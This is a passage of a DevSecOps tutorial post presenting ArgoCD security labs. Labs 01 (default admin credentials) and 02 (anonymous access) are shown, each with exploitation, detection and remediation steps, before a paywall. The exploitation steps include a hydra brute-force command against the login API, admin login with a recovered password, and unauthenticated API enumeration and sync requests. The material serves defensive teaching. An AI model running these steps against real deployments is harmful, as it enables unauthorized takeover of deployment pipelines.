DevSecOps Guides

DevSecOps Guides

Continuous Delivery Security Labs

35 security labs covering ArgoCD and GitHub Actions.

Reza's avatar
Reza
Mar 13, 2026
∙ Paid

Before we start, shoutout to a platform we built for YOU!

💎 Your next level in cybersecurity isn’t a dream, it’s a proactive roadmap.

HADESS AI Career Coach turns ambition into expertise:

→ 390+ clear career blueprints from entry-level to leadership

→ 490+ in-demand skill modules + practical labs

→ Intelligent AI(Not AI buzz, applied AI, promise!) tools + real-world expert coaches and scenarios

Master the skills that matter. Land the roles that pay. Build the future you want.

🔥 Start engineering your career → https://career.hadess.io


let’s get start!

Each lab walks through a misconfiguration, shows exactly how an attacker exploits it, and gives you the fixed configuration with verification steps.

The first 15 labs focus on ArgoCD: default credentials, anonymous access, RBAC misconfigurations, insecure repository credentials, webhook abuse, auto-sync dangers, ApplicationSet injection, cluster secret exposure, missing TLS, network policy gaps, unrestricted project destinations, resource exclusion bypasses, SSO misconfigurations, missing audit logging, and Helm values injection.

Labs 16-30 cover GitHub Actions: script injection, pull_request_target abuse, overpermissioned GITHUB_TOKEN, hardcoded secrets, self-hosted runner breakouts, artifact poisoning, third-party action supply chain attacks, workflow dispatch injection, OIDC misconfiguration, privileged Docker-in-Docker, missing image signing, absent SBOM generation, environment protection bypass, fork PR secret exfiltration, and reusable workflow permission escalation.

Labs 31-35 cover real-world attacks from 2025: the ArtiPACKED artifact token leakage research from Unit42, the tj-actions/changed-files supply chain breach (CVE-2025-30066), GitHub OIDC claim manipulation from Palo Alto Networks research, action tag mutability attacks, and poisoned pipeline execution via pull_request_target -- the exact vector that started the tj-actions kill chain.

Every lab uses real tools -- kubectl, argocd CLI, actionlint, checkov, semgrep, cosign, trivy, gitleaks -- with actual commands and output. No simulated content.


Table of Contents

ArgoCD Security

  1. Default Admin Credentials

  2. Anonymous Access Enabled

  3. Overpermissive RBAC Policies

  4. Insecure Repository Credential Storage

  5. Webhook Without Secret Validation

  6. Auto-Sync Without Prune Protection

  7. ApplicationSet Template Injection

  8. Cluster Secret Exposure

  9. API Server Without TLS

  10. Missing Network Policies

  11. Unrestricted Project Destinations

  12. Resource Exclusion Bypass

  13. SSO/OIDC Misconfiguration

  14. Missing Audit Logging and Monitoring

  15. Helm Values File Injection

GitHub Actions Security

  1. Script Injection

  2. pull_request_target Event Abuse

  3. GITHUB_TOKEN Over-Permissioned

  4. Hardcoded Secrets in Workflow Files

  5. Self-Hosted Runner Breakout

  6. Artifact Poisoning Attack

  7. Third-Party Action Supply Chain Attack

  8. Workflow Dispatch Input Injection

  9. OIDC Token Misconfiguration

  10. Docker-in-Docker Privileged CI

  11. Missing Container Image Signing

  12. No SBOM Generation in CI Pipeline

  13. Environment Protection Bypass

  14. Secret Exfiltration via Fork PRs

  15. Reusable Workflow Permission Escalation

Real-World Attacks (2025)

  1. GitHub Actions Artifact Token Leakage (ArtiPACKED)

  2. tj-actions/changed-files Supply Chain Attack (CVE-2025-30066)

  3. GitHub OIDC Claim Manipulation

  4. GitHub Action Tag Mutability Attack

  5. Poisoned Pipeline Execution via pull_request_target


Lab 01: ArgoCD Default Admin Credentials

When we install ArgoCD, the default admin password is set to the name of the argocd-server pod. This is documented behavior — not a bug — but it creates a predictable credential that an attacker with namespace read access (or a good guess) can exploit. The problem gets worse when teams set up SSO through Keycloak or Dex but forget to disable the built-in admin account afterward. We now have two authentication paths: SSO (which has MFA, audit logs, session management) and the local admin account (which has none of that).

There is no built-in password rotation policy. The argocd-initial-admin-secret Kubernetes secret persists until someone manually deletes it. We have seen production clusters running for months with this secret still present.


Root Cause Analysis

  1. ArgoCD generates the initial admin password from the server pod name and stores it in argocd-initial-admin-secret

  2. The admin account remains active even after SSO is configured — there is no automatic disablement

  3. No account lockout mechanism exists by default — brute force is viable

  4. The initial admin secret is never rotated or automatically cleaned up


Vulnerable Configuration

The default argocd-cm ConfigMap after a fresh install with SSO configured but admin still active:

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  url: https://argocd.example.com
  oidc.config: |
    name: Keycloak
    issuer: https://keycloak.example.com/auth/realms/master
    clientID: argo
    clientSecret: $oidc.keycloak.clientSecret
    requestedScopes: ["openid", "profile", "email", "groups"]
  # NOTE: admin account is NOT disabled
  # accounts.admin.enabled is absent — defaults to "true"

The initial admin secret sitting in the namespace:

apiVersion: v1
kind: Secret
metadata:
  name: argocd-initial-admin-secret
  namespace: argocd
type: Opaque
data:
  password: YXJnb2NkLXNlcnZlci01Zjg3Njk4NjktNGo1bGg=  # base64 of pod name

Exploitation

Step 1: Recover the default password

If we have kubectl access to the namespace:

kubectl -n argocd get secret argocd-initial-admin-secret \
  -o jsonpath="{.data.password}" | base64 -d

Expected output:

argocd-server-5f8769869-4j5lh

Step 2: Log in with default credentials

argocd login argocd-server.argocd.svc.cluster.local \
  --username admin \
  --password argocd-server-5f8769869-4j5lh \
  --insecure

Expected output:

'admin:login' logged in successfully
Context 'argocd-server.argocd.svc.cluster.local' updated

Step 3: Verify admin-level access

argocd account can-i sync applications '*'
argocd account can-i create clusters '*'
argocd account can-i delete applications '*'

Expected output for all three:

yes

Step 4: Brute force demonstration (without kubectl access)

If the ArgoCD API is exposed (common in many deployments), we can brute-force the admin password. Pod names follow a predictable pattern:

# Generate candidate passwords based on known pod naming
# Pattern: argocd-server-<replicaset-hash>-<pod-hash>
hydra -l admin -P /tmp/argocd-passwords.txt \
  argocd.example.com https-form-post \
  "/api/v1/session:username=^USER^&password=^PASS^:Invalid"

Step 5: Extract cluster credentials after admin access

argocd cluster list
argocd repo list
argocd app list

Detection

Check if the initial admin secret still exists

kubectl -n argocd get secret argocd-initial-admin-secret 2>/dev/null && \
  echo "VULNERABLE: Initial admin secret still present" || \
  echo "OK: Initial admin secret deleted"

Check if admin account is disabled

kubectl -n argocd get configmap argocd-cm -o yaml | \
  grep -q "accounts.admin.enabled" && \
  echo "Admin account setting found" || \
  echo "VULNERABLE: Admin account enabled by default (no explicit disable)"

Check ArgoCD audit logs for admin logins

kubectl -n argocd logs deployment/argocd-server | \
  grep -i "admin" | grep -i "login"

Scan with checkov

checkov -d /path/to/argocd-manifests/ \
  --check CKV_K8S_35  # Ensure secrets are not stored in ConfigMaps

Monitor for brute force with failed login attempts

kubectl -n argocd logs deployment/argocd-server | \
  grep "authentication failed" | \
  awk '{print $NF}' | sort | uniq -c | sort -rn | head -10

Solution

1. Delete the initial admin secret immediately after first login

kubectl -n argocd delete secret argocd-initial-admin-secret

2. Disable the admin account after SSO is configured

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  url: https://argocd.example.com
  admin.enabled: "false"
  oidc.config: |
    name: Keycloak
    issuer: https://keycloak.example.com/auth/realms/master
    clientID: argo
    clientSecret: $oidc.keycloak.clientSecret
    requestedScopes: ["openid", "profile", "email", "groups"]

3. If you must keep a local admin, set a bcrypt password and rotate it

# Generate a bcrypt hash
argocd account bcrypt --password 'Y0ur$tr0ng!Passw0rd#2026'

# Update the argocd-secret with the bcrypt hash
kubectl -n argocd patch secret argocd-secret \
  -p '{"stringData": {"admin.password": "$2a$10$rGJ...your-bcrypt-hash...", "admin.passwordMtime": "'$(date +%FT%T%Z)'"}}'

4. Configure account lockout via environment variables on argocd-server

apiVersion: apps/v1
kind: Deployment
metadata:
  name: argocd-server
  namespace: argocd
spec:
  template:
    spec:
      containers:
      - name: argocd-server
        env:
        - name: ARGOCD_SESSION_FAILURE_MAX_FAIL_COUNT
          value: "5"
        - name: ARGOCD_SESSION_MAX_CACHE_SIZE
          value: "1000"
        - name: ARGOCD_SESSION_FAILURE_WINDOW_SECONDS
          value: "300"

5. Map SSO groups to ArgoCD roles in argocd-rbac-cm

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: role:readonly
  policy.csv: |
    g, ArgoCDAdmins, role:admin
    g, Developers, role:readonly

Verification

After applying the fix:

# Confirm admin account is disabled
kubectl -n argocd get configmap argocd-cm -o jsonpath='{.data.admin\.enabled}'
# Expected: false

# Confirm initial secret is gone
kubectl -n argocd get secret argocd-initial-admin-secret
# Expected: Error from server (NotFound)

# Attempt admin login — should fail
argocd login argocd-server.argocd.svc.cluster.local \
  --username admin --password anything --insecure
# Expected: rpc error: account admin is disabled

# Confirm SSO login still works
argocd login argocd-server.argocd.svc.cluster.local --sso --insecure
# Expected: redirects to Keycloak, login succeeds

Lab 02: ArgoCD Anonymous Access Enabled

ArgoCD supports anonymous access through the users.anonymous.enabled setting in the argocd-cm ConfigMap. When enabled, unauthenticated users inherit whatever role is specified in policy.default within the argocd-rbac-cm ConfigMap. On its own, anonymous access with role:readonly default might seem harmless — but in practice it exposes application names, repository URLs, cluster endpoints, deployment configurations, environment variables, and sync status to anyone who can reach the ArgoCD API.

The real danger comes when someone sets policy.default: role:admin (we cover this in Lab 03) alongside anonymous access. Now any unauthenticated user has full admin control over the entire ArgoCD instance. We have seen this combination in the wild — usually the result of a developer enabling anonymous access during local testing and the ConfigMap making it into a Helm values file or GitOps repo.


Root Cause Analysis

  1. users.anonymous.enabled: "true" in argocd-cm disables authentication requirements entirely

  2. Anonymous users inherit policy.default permissions — if that role is permissive, anonymous users get those permissions

  3. ArgoCD does not warn or emit audit events when anonymous access is enabled

  4. The ArgoCD API and gRPC endpoints serve full responses to unauthenticated requests when anonymous mode is active


Vulnerable Configuration

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  users.anonymous.enabled: "true"

Combined with an overly permissive default role:

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: role:readonly

Or worse:

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: role:admin

Exploitation

Step 1: Identify ArgoCD API endpoint

# If exposed via Ingress or LoadBalancer
curl -sk https://argocd.example.com/api/version

Expected output:

{
  "Version": "v2.11.2+unknown",
  "BuildDate": "2024-06-07T17:38:30Z",
  "GitCommit": "a1b3c4d5e6f7",
  "GitTreeState": "clean",
  "GoVersion": "go1.22.4",
  "Compiler": "gc",
  "Platform": "linux/amd64"
}

Step 2: List all applications without authentication

curl -sk https://argocd.example.com/api/v1/applications | \
  jq '.items[].metadata.name'

Expected output:

"production-backend"
"staging-frontend"
"vault-demo-application"
"monitoring-stack"

Step 3: Extract application details (repo URLs, cluster endpoints, secrets references)

curl -sk https://argocd.example.com/api/v1/applications/production-backend | \
  jq '{
    repo: .spec.source.repoURL,
    path: .spec.source.path,
    cluster: .spec.destination.server,
    namespace: .spec.destination.namespace,
    syncPolicy: .spec.syncPolicy
  }'

Expected output:

{
  "repo": "https://github.com/acme-corp/k8s-deployments.git",
  "path": "production/backend",
  "cluster": "https://10.0.1.50:6443",
  "namespace": "production",
  "syncPolicy": {
    "automated": {
      "prune": true,
      "selfHeal": true
    }
  }
}

Step 4: List all registered clusters

curl -sk https://argocd.example.com/api/v1/clusters | \
  jq '.items[] | {name: .name, server: .server}'

Expected output:

{
  "name": "production-east",
  "server": "https://10.0.1.50:6443"
}
{
  "name": "staging-west",
  "server": "https://10.0.2.30:6443"
}

Step 5: List all connected repositories

curl -sk https://argocd.example.com/api/v1/repositories | \
  jq '.items[] | {repo: .repo, type: .type, connectionState: .connectionState.status}'

Expected output:

{
  "repo": "https://github.com/acme-corp/k8s-deployments.git",
  "type": "git",
  "connectionState": "Successful"
}

Step 6: If policy.default is role:admin — trigger a sync

curl -sk -X POST \
  https://argocd.example.com/api/v1/applications/production-backend/sync \
  -H "Content-Type: application/json" \
  -d '{"prune": false}'

Detection

Check if anonymous access is enabled

kubectl -n argocd get configmap argocd-cm -o jsonpath='{.data.users\.anonymous\.enabled}'

If the output is true, anonymous access is active.

Check the default policy role

kubectl -n argocd get configmap argocd-rbac-cm -o jsonpath='{.data.policy\.default}'

If the output is role:admin combined with anonymous access, this is a critical finding.

Test unauthenticated API access from outside the cluster

# Port-forward if not externally exposed
kubectl -n argocd port-forward svc/argocd-server 8443:443 &

curl -sk https://localhost:8443/api/v1/applications
# If you get a JSON response with application data, anonymous access is working
# If you get a 401, authentication is enforced

Audit ArgoCD server logs for anonymous requests

kubectl -n argocd logs deployment/argocd-server | \
  grep -i "anonymous" | tail -20

Scan with checkov

checkov -d /path/to/argocd-manifests/ --framework kubernetes

Solution

1. Disable anonymous access

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  users.anonymous.enabled: "false"

Apply:

kubectl apply -f argocd-cm.yaml

2. Set a restrictive default policy

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: ""
  policy.csv: |
    p, role:readonly, applications, get, */*, allow
    p, role:readonly, projects, get, *, allow
    p, role:devops, applications, *, */*, allow
    p, role:devops, clusters, get, *, allow
    p, role:devops, repositories, get, *, allow
    g, DevOps, role:devops
    g, Developers, role:readonly

Setting policy.default to an empty string means any user not explicitly mapped to a role gets zero permissions.

3. Enforce authentication at the network level

If ArgoCD is exposed through an Ingress, add authentication middleware:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: argocd-server
  namespace: argocd
  annotations:
    nginx.ingress.kubernetes.io/auth-type: basic
    nginx.ingress.kubernetes.io/auth-secret: argocd-basic-auth
    nginx.ingress.kubernetes.io/auth-realm: "ArgoCD Authentication Required"
spec:
  rules:
  - host: argocd.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: argocd-server
            port:
              number: 443

4. Restrict API access with NetworkPolicy

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: argocd-server-access
  namespace: argocd
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: argocd-server
  policyTypes:
  - Ingress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          name: ingress-nginx
    ports:
    - port: 8080
    - port: 8443

Verification

# Confirm anonymous access is disabled
kubectl -n argocd get configmap argocd-cm \
  -o jsonpath='{.data.users\.anonymous\.enabled}'
# Expected: false (or empty/absent)

# Test unauthenticated API call
curl -sk https://argocd.example.com/api/v1/applications
# Expected: 401 Unauthorized

# Test authenticated API call
argocd login argocd.example.com --sso --insecure
argocd app list
# Expected: returns application list for authenticated user

# Verify default policy is restrictive
kubectl -n argocd get configmap argocd-rbac-cm \
  -o jsonpath='{.data.policy\.default}'
# Expected: empty string or "role:readonly"

Lab 03: ArgoCD Overpermissive RBAC Policies

User's avatar

Continue reading this post for free, courtesy of Reza.

Or purchase a paid subscription.
© 2026 Reza · Privacy ∙ Terms ∙ Collection notice
Start your SubstackGet the app
Substack is the home for great culture